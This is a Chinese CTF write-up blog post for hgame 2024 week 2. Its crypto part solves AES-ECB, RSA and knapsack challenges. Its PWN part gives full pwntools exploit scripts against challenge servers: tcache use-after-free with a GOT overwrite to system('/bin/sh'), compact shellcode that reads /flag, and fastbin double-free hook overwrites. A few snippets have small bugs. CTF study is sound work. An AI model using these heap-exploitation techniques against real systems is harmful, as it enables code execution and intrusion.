[hgame 2024 week2] crypto/pwn

博客分享了Crypto和PWN相关题目的解题思路。Crypto部分涉及奇怪的图片plus、midRSA、babyRSA等题目,涵盖AES - ECB加密、RSA算法等知识;PWN部分包括Elden Ring Ⅱ、shellcodeMaster等题目,涉及pie、got表、shellcode、uaf等技术点。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

第2周找到了,目录名写成第1周了。

Crypto

奇怪的图片plus

第2周的图变了风格,是一个有远端的题

import asyncio
import os
import websockets
from PIL import Image
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad


gift = b''.hex() # hide here
pos_list = [] # hide here


def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image


def xor_images(image1, image2):
    if image1.size != image2.size:
        raise ValueError("Images must have the same dimensions")
    xor_image = Image.new("RGB", image1.size)
    pixels1 = image1.load()
    pixels2 = image2.load()
    xor_pixels = xor_image.load()
    for x in range(image1.size[0]):
        for y in range(image1.size[1]):
            r1, g1, b1 = pixels1[x, y]
            r2, g2, b2 = pixels2[x, y]
            xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
    return xor_image


def check_pixels(image, positions):
    pixels = image.load()
    count = 0
    for x in range(image.size[0]):
        for y in range(image.size[1]):
            if (x, y) in positions:
                if pixels[x, y] != (0, 0, 0):
                    print('black')
                    return False
            else:
                if pixels[x, y] == (0, 0, 0):
                    count += 1
                    if count == 10:
                        print('count')
                        return False
    return True


async def handle_client(websocket):
    await websocket.send("Pls send two images that meet the following conditions")
    await websocket.send("The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'")
    await websocket.send("Note: The server has scaling function during validation! XD")
    image_1, image_2 = None, None
    image_1_w, image_1_h, image_2_w, image_2_h = 0, 0, 0, 0
    async for message_raw in websocket:
        try:
            if message_raw[:2] == b"B1":
                image_1_w = int.from_bytes(message_raw[2:6], "big")
                image_1_h = int.from_bytes(message_raw[6:10], "big")
                image_1 = message_raw[6:]
                await websocket.send("Image_1 received")
            elif message_raw[:2] == b"B2":
                image_2_w = int.from_bytes(message_raw[2:6], "big")
                image_2_h = int.from_bytes(message_raw[6:10], "big")
                image_2 = message_raw[6:]
                await websocket.send("Image_2 received")
            elif message_raw[:2] == b"B3":
                if image_1 and image_2:
                    F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
                    image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)
                    image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)
                    xor_image = xor_images(image_1_encrypted, image_2_encrypted)
                    xor_image = xor_image.resize((16, 9), Image.NEAREST)
                    xor_image.show()
                    if check_pixels(xor_image, pos_list):
                        await websocket.send("Here is your gift: {}".format(gift))
                    else:
                        await websocket.send("Verification failed")
                else:
                    await websocket.send("Pls send two images first!!")
        except ValueError as err:
            await websocket.send(err)

async def main():
    server = await websockets.serve(handle_client, "localhost", 10002)
    await server.wait_closed()


asyncio.run(main())

远端可以输入两个图片,然后把两个图AES加密对应像素异或后缩小到16*9再与已知图片对比,要求黑的地方相同(最多差10个)

这里涉及到AES-ECB加密方式,也就是密码本方式,相同的明文会生成相同的密文。16字节块只要有1字节不同便几乎全不同,所以这个题的卡点就在于这个缩放上,只要把1个字节放大到16字节,正好是一个加密块,这样两个相同的块结果就完全一样,再异或后就是0,远端缩小后16个缩到1个就还是0

from websockets.sync.client import connect

#横向每16个像素表示1个像素,16个像素48个数据,ECB加密,相同则xor得0不相同则xor不为0,缩小后与target图片相同
w = '\x00\x00\x01\x00'
h = '\x00\x00\x00\x09'
a = '111111111111111110000100001100011011010111101111101101011110111110000100001100111011010111111101101101011111110110110100001000111111111111111111'
b = ''.join(['1'*16*3 if v=='1' else '0'*16*3 for v in a])
img1 = "B1" + w + h + '0'*(16*16*9*3 -4)
img2 = "B2" + w + h + b[4:]
def hello():
    with connect("ws://106.14.57.14:31885") as websocket:
        print(f"Received: {websocket.recv()}")
        print(f"Received: {websocket.recv()}")
        print(f"Received: {websocket.recv()}")
        websocket.send(img1.encode() )
        print(f"Received: {websocket.recv()}")
        websocket.send(img2.encode() )
        print(f"Received: {websocket.recv()}")
        websocket.send(b"B3")
        print(f"Received: {websocket.recv()}")

hello()

'''
Received: Pls send two images that meet the following conditions
Received: The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'
Received: Note: The server has scaling function during validation! XD
Received: Image_1 received
Received: Image_2 received
Received: Here is your gift: 8693346e81fa05d8817fd2550455cdf6
'''

得到这个gift( key)后直接解密就可以了,不过由于没有iv,需要用第1块官方作IV,明文第1块会损失掉。不过题目已经是图片,仅少几个像素影响不大。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
from PIL import Image, ImageFont, ImageDraw
import struct
import random

def image_to_bytes(image):
    width, height = image.size
    pixel_bytes = []
    for y in range(height):
        for x in range(width):
            pixel = image.getpixel((x, y))
            pixel_bytes.extend(struct.pack('BBB', *pixel))
    image_bytes = bytes(pixel_bytes)
    return image_bytes


def bytes_to_image(image_bytes, width, height):
    pixel_bytes = list(image_bytes)
    reconstructed_image = Image.new('RGB', (width, height))
    for y in range(height):
        for x in range(width):
            start = (y * width + x) * 3
            pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
            reconstructed_image.putpixel((x, y), pixel)
    return reconstructed_image

key = bytes.fromhex('8693346e81fa05d8817fd2550455cdf6')

#ofb格式用key加密iv(下一块的IV)后与明文异或得到密文
img = Image.open("encrypted_flag.png")
img = image_to_bytes(img)
F = AES.new(key=key, mode=AES.MODE_OFB, iv=img[:16])
c = F.decrypt(img[16:])
img2 = bytes_to_image(b'\x00'*16+c, 200,150)
img2.show()

#hgame{1ad4_80cc_1fb2_be7c}

midRSA

不清楚是题有问题还是啥,很可能是出题人故意的。

from Crypto.Util.number import *
from secret import flag

def padding(flag):
    return flag+b'\xff'*(64-len(flag))

flag=padding(flag)
m=bytes_to_long(flag)
p=getPrime(512)
q=getPrime(512)
e=3
n=p*q
c=pow(m,e,n)
m0=m>>208

print(f'n={n}')
print(f'c={c}')
print(f'm0={m0}')

"""
n=120838778421252867808799302603972821425274682456261749029016472234934876266617266346399909705742862458970575637664059189613618956880430078774892479256301209695323302787221508556481196281420676074116272495278097275927604857336484564777404497914572606299810384987412594844071935546690819906920254004045391585427
c=118961547254465282603128910126369011072248057317653811110746611348016137361383017921465395766977129601435508590006599755740818071303929227578504412967513468921191689357367045286190040251695094706564443721393216185563727951256414649625597950957960429709583109707961019498084511008637686004730015209939219983527
m0=13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
"""

一个RSA的题,其中m经过pad,并给出了部分,一般情况下部分m给出的可以用coppersmith解法,但这题经过pad,如果flag不是很长,而少的208位只是pad部分没有意义,直接long_to_bytes(m0)即可(如果位数不是8的整数倍需要对齐,这题正好是所以不用任何处理)

babyRSA

RSA给了p,q,n,c没有给e,但是给了一个运算gift

from Crypto.Util.number import *
from secret import flag,e
m=bytes_to_long(flag)
p=getPrime(64)
q=getPrime(256)
n=p**4*q
k=getPrime(16)
gift=pow(e+114514+p**k,0x10001,p)
c=pow(m,e,n)
print(f'p={p}')
print(f'q={q}')
print(f'c={c}')
print(f'gift={gift}')
"""
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841
gift=9751789326354522940
"""

gift=pow(e+114514+p**k,0x10001,p)这里带p的项去掉后可以求出e,不过呢e是phi的因子,需要用AMM算法,e很小只有73561个解,找到hgame就可以了

e = pow(gift, invert(0x10001, p-1), p) - 114514
#73561
v = Zmod(p*q)(c).nth_root(e, all=True)
for i in v:
    m = long_to_bytes(int(v))
    if b'hgame' in m:
        print(m)
        break

#b'hgame{Ad1eman_Mand3r_Mi11er_M3th0d}'        

backpack

远看像个背包问题,近看与第2题一样是个脑筋急转弯。

from Crypto.Util.number import *
import random
from secret import flag
a=[getPrime(32) for _ in range(20)]
p=random.getrandbits(32)
assert len(bin(p)[2:])==32
bag=0
for i in a:
    temp=p%2
    bag+=temp*i
    p=p>>1

enc=bytes_to_long(flag)^p  #循环20次后,p只有12位

print(f'enc={enc}')
print(f'a={a}')
print(f'bag={bag}')
"""
enc=871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
a=[3245882327, 3130355629, 2432460301, 3249504299, 3762436129, 3056281051, 3484499099, 2830291609, 3349739489, 2847095593, 3532332619, 2406839203, 4056647633, 3204059951, 3795219419, 3240880339, 2668368499, 4227862747, 2939444527, 3375243559]
bag=45893025064
"""

在计算bag时,p=p>>1这样p会缩得很小,本来就32位,再移出20位还乘12位,顶多就就影响一个半字符。直接long_to_bytes(enc)就可以了。

backpack_revenge

回到背包问题来,这是个入门题,直接照模板画一下就行了

from Crypto.Util.number import *
import random
import hashlib

a=[getPrime(96) for _ in range(48)]
p=random.getrandbits(48)
assert len(bin(p)[2:])==48
flag='hgame{'+hashlib.sha256(str(p).encode()).hexdigest()+'}'

bag=0
for i in a:
    temp=p%2
    bag+=temp*i
    p=p>>1

print(f'a={a}')
print(f'bag={bag}')

"""
a=[74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
bag=1202548196826013899006527314947
"""
M = matrix(ZZ, 48,48)
for i in range(47):
    M[i,i] = 1 
    M[i,-1] = a[i]

M[-1,-1] = -(bag - a[-1])
L = M.LLL()
#(1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0)
p = int('1'+(''.join([str(i) for i in L[-1][:-1]])[::-1]), 2)
#268475474669857
print('hgame{'+hashlib.sha256(str(p).encode()).hexdigest()+'}')
#'hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}'

midRSA_revenge

RSA部分明文已经

from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getPrime(1024)
q=getPrime(1024)
e=5
n=p*q
c=pow(m,e,n)
m0=m>>128

print(f'n={n}')
print(f'c={c}')
print(f'm0={m0}')

"""
n=27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c=456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
m0=9999900281003357773420310681169330823266532533803905637
"""

而且幂很小

P.<x> = PolynomialRing(Zmod(n))
f = ((m0<<128)+x)^5 - c 
v = f.small_root(X=2^128, beta=0.5)
long_to_bytes((m0<<128) + int(v[0]))
b'hgame{c0ppr3smith_St3re0typed_m3ssag3s}'

PWN

Elden Ring Ⅱ

pie未开,got表可写,free未删指针,UAF作tcacheAttack将块写到指针表。再改got表

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc.so.6')
elf = ELF('./vuln')

#p = process('vuln')
p = remote('106.14.57.14',30077)

def add(idx, size):
    p.sendlineafter(b'>', b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())

def free(idx):
    p.sendlineafter(b'>', b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

def edit(idx, msg):
    p.sendlineafter(b'>', b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendafter(b"Content: ", msg)

def show(idx):
    p.sendlineafter(b'>', b'4')
    p.sendlineafter(b"Index: ", str(idx).encode())

add(0, 0x38)
add(1, 0x38)
free(0)
free(1)
edit(1, p64(0x4040c0))
add(2,0x38)
add(3,0x38)
edit(3, flat(0x4040c8, b'/bin/sh\x00', elf.got['free']))

show(2)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - libc.sym['free']
print(f"{ libc.address = :x}")
edit(2, p64(libc.sym['system']))

free(0)
#gdb.attach(p)
#pause()

p.interactive()

shellcodeMaster

本是一个shellcode题作个read即可,这里多加了个mprotect,把块作成只读的,所以需要先调用mprotect改属性再read

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [rsp+8h] [rbp-8h]

  init(argc, argv, envp);
  sandbox();
  buf = (void *)(int)mmap((void *)0x2333000, 0x1000uLL, 7, 34, -1, 0LL);
  puts("I heard that a super shellcode master can accomplish 2 functions with 0x16 bytes shellcode\n");
  read(0, buf, 0x16uLL);
  puts("Love!");
  mprotect(buf, 0x1000uLL, 4);
  JUMPOUT(0x2333000LL);
}
from pwn import *

context(arch='amd64', log_level='debug')

#p = process('./vuln')
p = remote('106.14.57.14', 31032)

pay1 = asm('''cbw; mov al,10;     /* rax=10*/
              cdq; mov dl,0xf0; mov esi,edx; /*  rsi=0xf0 */ 
              mov dl,7; /* rdx = 7*/
              mov rdi,r15; /* rdi = 0x2333000 */
              syscall''') #16 rax=0

#rax=0 rdx=0 rsi=f0 rdi=2333000  ---> rdi=0 rsi=2333000 rdx=f0
pay2 = asm('cdq;xchg eax,edi;xchg eax,esi; xchg eax,edx; syscall') #6

pay3 = b'\x90'*0x16 + asm('mov rsp, 0x404800;'+ shellcraft.open('/flag') + shellcraft.read(3,0x404800,0x50)+shellcraft.write(1,0x404800,0x50))
#gdb.attach(p, "b*0x4013f6\nc")

p.sendafter(b"\n\n", pay1+pay2)
p.send(pay3)
p.interactive()

回头得看看别人怎么写的,感觉写得很麻烦,不过也只是刚刚够字节限制。

fastnote

有uaf和块大小限制,需要释放8个0x80的块才会进入到unsort,另外tcache已经有检查不能释放相同的地址,需要在fastbin造double free

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.31.so')
elf = ELF('./vuln')

#p = process('./vuln')
p = remote('106.14.57.14', 31412)

def add(idx, size, msg):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b'Your choice:', b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

for i in range(9):
    add(i,0x80,b'A')

for i in range(8):
    free(i)
show(7)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x70-libc.sym['__malloc_hook']
print(f"{ libc.address = :x}")

for i in range(9):
    add(i, 0x20, b'AA')

for i in range(7):
    free(i)
free(7)
free(8)
free(7)

for i in range(7):
    add(i,0x20,b'A')

add(0, 0x20, p64(libc.sym['__free_hook']))
add(1, 0x20, b'A')
add(1, 0x20, b'/bin/sh\x00')
add(2, 0x20, p64(libc.sym['system']))

free(1)
p.interactive()

old_fastnote

2.23版的libc,那时候还没有tcache,所以double后需要利用在malloc_hook前错位得到0x7f的头进行fastbin attack

from pwn import *

context(arch='amd64', log_level='debug')

libc = ELF('./libc-2.23.so')
elf = ELF('./vuln')

#p = process('vuln')
p = remote('106.14.57.14',31434)

def add(idx, size, msg=b'A'):
    p.sendlineafter(b"Your choice:", b'1')
    p.sendlineafter(b"Index: ", str(idx).encode())
    p.sendlineafter(b"Size: ", str(size).encode())
    p.sendafter(b"Content: ", msg)

def free(idx):
    p.sendlineafter(b"Your choice:", b'3')
    p.sendlineafter(b"Index: ", str(idx).encode())

def show(idx):
    p.sendlineafter(b"Your choice:", b'2')
    p.sendlineafter(b"Index: ", str(idx).encode())

add(0,0x80)
add(1,0x68)
add(2,0x68)

free(0)
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{ libc.address = :x}")
one = libc.address + 0xf1247


free(1)
free(2)
free(1)
add(3,0x68,p64(libc.sym['__malloc_hook']-0x23))
add(4,0x68)
add(4,0x68)
add(5,0x68, b'AAA'+ flat(0,0, one))

p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", b'8')
p.sendlineafter(b"Size: ", b'88')

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值